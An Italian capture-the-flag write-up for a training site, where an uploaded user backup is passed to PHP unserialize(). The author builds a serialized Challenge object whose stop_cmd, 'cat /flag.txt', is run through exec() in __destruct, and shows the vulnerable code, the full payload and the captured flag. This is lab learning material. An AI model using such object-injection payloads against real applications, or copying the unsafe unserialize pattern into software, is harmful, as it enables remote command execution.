

The challenge is at <http://meta.training.jinblack.it/> and the question in the challenge is: can you read `/flag.txt` ?

Una volta registrato al sito e fatto il login nel menu in alto accanto a Home ci appare un bottone con il nostro username (es. se il mio user è Pippo nel bottone ci sarà scritto Pippo) e se lo premo mi fa scaricare un file contenente una stringa serializzata.

C'è il bottone Upload User che permette di caricare un file ed ha il seguente codice:

```
<?php
if (isset($_FILES['user_bak'])){
    $filename = $_FILES['user_bak']['tmp_name'];
    $file = fopen($filename, "r");
    $data= fread($file,filesize($filename));
    fclose($file);
    $data = unserialize($data);
    $_SESSION['user'] = $data;
}
?>
```

Vediamo che fa unserialize del file quindi la possiamo sfruttare per l'attacco.

La stringa serializzata ad esempio è così:

```
O:4:"User":5:{s:4:"name";s:3:"Bau";s:2:"id";i:100054;s:7:"isAdmin";b:0;s:6:"solved";a:0:{}s:6:"points";i:0;}
```

Intanto mettiamo il nostro user come admin settando isAdmin a 1

Se poi faccio l'upload non cambia niente

Allora provo a mettere "flag.txt" nel nome dello user ma non va, e nemmeno se la metto su points.

Provo a creare una challenge e la metto nel file:

```
class Challenge{
    public $name;
    public $description;
}
$c = new Challenge();
$c->name = "nome della challenge";
$c->description = "Ciao, questa è la descrizione";
$s = serialize($c);
echo $s;
```

Ma non fa niente, anzi mi mette il name al posto del name dello user nel bottone del download

Ora provo a mettere la challenge serializzata in points dello user che scarico e setto isAdmin = 1.

Non va

Provo allora a mettere la challenge serializzata nel valore di user:

```
O:4:"User":5:{s:4:"name";O:9:"Challenge":2:{s:4:"name";s:20:"nome della challenge";s:11:"description";s:30:"Ciao, questa è la descrizione";s:2:"id";i:100054;s:7:"isAdmin";b:0;s:6:"solved";a:0:{}s:6:"points";i:0;}
```

NON VA

## SOLUZIONE

Vedo che in data la classe Challenge ha due funzioni interessanti:

```
class Challenge{
    //WIP Not used yet.
    public $name;
    public $description;
    public $setup_cmd=NULL;
    // public $check_cmd=NULL;
    public $stop_cmd=NULL;

    function __construct($name, $description){
        $this->name = $name;
        $this->description = $description;
    }

    function start(){
        if(!is_null($this->setup_cmd)){
            $output=null;
            $retval=null;
            echo("Starting challenge!");
            exec($this->setup_cmd, $output, $retval);
            echo($output[0]);
        }
    }

    function stop(){
        if(!is_null($this->stop_cmd)){
            $output=null;
            $retval=null;
            echo("Stopping challenge!");
            exec($this->stop_cmd, $output, $retval);
        }
    }
}
```

```
    echo($output[0]);  
  }  
}
```

Start() e stop()

Sembra che quello che metto su `stop_cmd` (se diverso da NULL) venga eseguito e poi l'output dell'esecuzione venga stampato con la funzione `stop()` quindi se ci metto `cat /flag.txt` allora il flag verrà stampato.

## ChatGPT

Il codice PHP che hai fornito utilizza la funzione **exec()** per eseguire un comando del sistema operativo. Vediamo cosa fa ogni parametro in questa chiamata:

`exec($this->stop_cmd, $output, $retval);`

- **`$this->stop_cmd`**: Presumibilmente, **`$this->stop_cmd`** è una proprietà di un oggetto istanziato dalla classe corrente (**`$this`**). Questa proprietà contiene il comando che si desidera eseguire attraverso la funzione **exec()**. Ad esempio, potrebbe essere un comando da eseguire sulla riga di comando, come "ls" o "echo Hello World".
- **`$output`**: È un parametro di output opzionale che verrà riempito con le righe di output del comando eseguito. Ogni riga del risultato viene memorizzata in un elemento dell'array **`$output`**.
- **`$retval`**: È un parametro di output che conterrà il valore di ritorno del comando eseguito. Questo valore di ritorno è di solito un numero che indica se il comando è stato eseguito correttamente o se si è verificato un errore.

Quindi, la funzione **exec()** viene utilizzata per eseguire il comando specificato in **`$this->stop_cmd`** nel contesto del sistema operativo. L'output del comando viene memorizzato nell'array **`$output`**, e il valore di ritorno del comando viene memorizzato nella variabile **`$retval`**.

Infine con `$echo($output[0])` verrà stampato quello che è nell'array output.

C'è solo da capire quando viene chiamata questa funzione `stop()`

Viene chiamata dentro al `destruct()`

```
function __destruct(){  
    $this->stop();  
}
```

il metodo **\_\_destruct()** viene chiamato automaticamente quando l'oggetto viene distrutto, che avviene quando si esce dallo scope in cui è stato creato o quando viene chiamata **unset()** su di esso.

Quindi è perfetto!!

Serializzo questa:

```
class Challenge{  
    public $name;  
    public $description;  
}
```

```
$c = new Challenge();  
$c->name = "nome della challenge";  
$c->description = "Ciao, questa è la descrizione";  
$c->stop_cmd = 'cat /flag.txt';
```

```
$s = serialize($c);  
echo $s;
```

e ottengo:

```
O:9:"Challenge":3:{s:4:"name";s:20:"nome della  
challenge";s:11:"description";s:30:"Ciao, questa è la  
descrizione";s:8:"stop_cmd";s:13:"cat /flag.txt";}
```

Ora metto questa nel file e lo carico!

---

# Welcome to METACTF

User Backup file:

Scegli file nessun file selezionato

Load User

Stoping challenge!flag{nice\_yuo\_got\_the\_unserialize\_flag!}

Ecco il flag!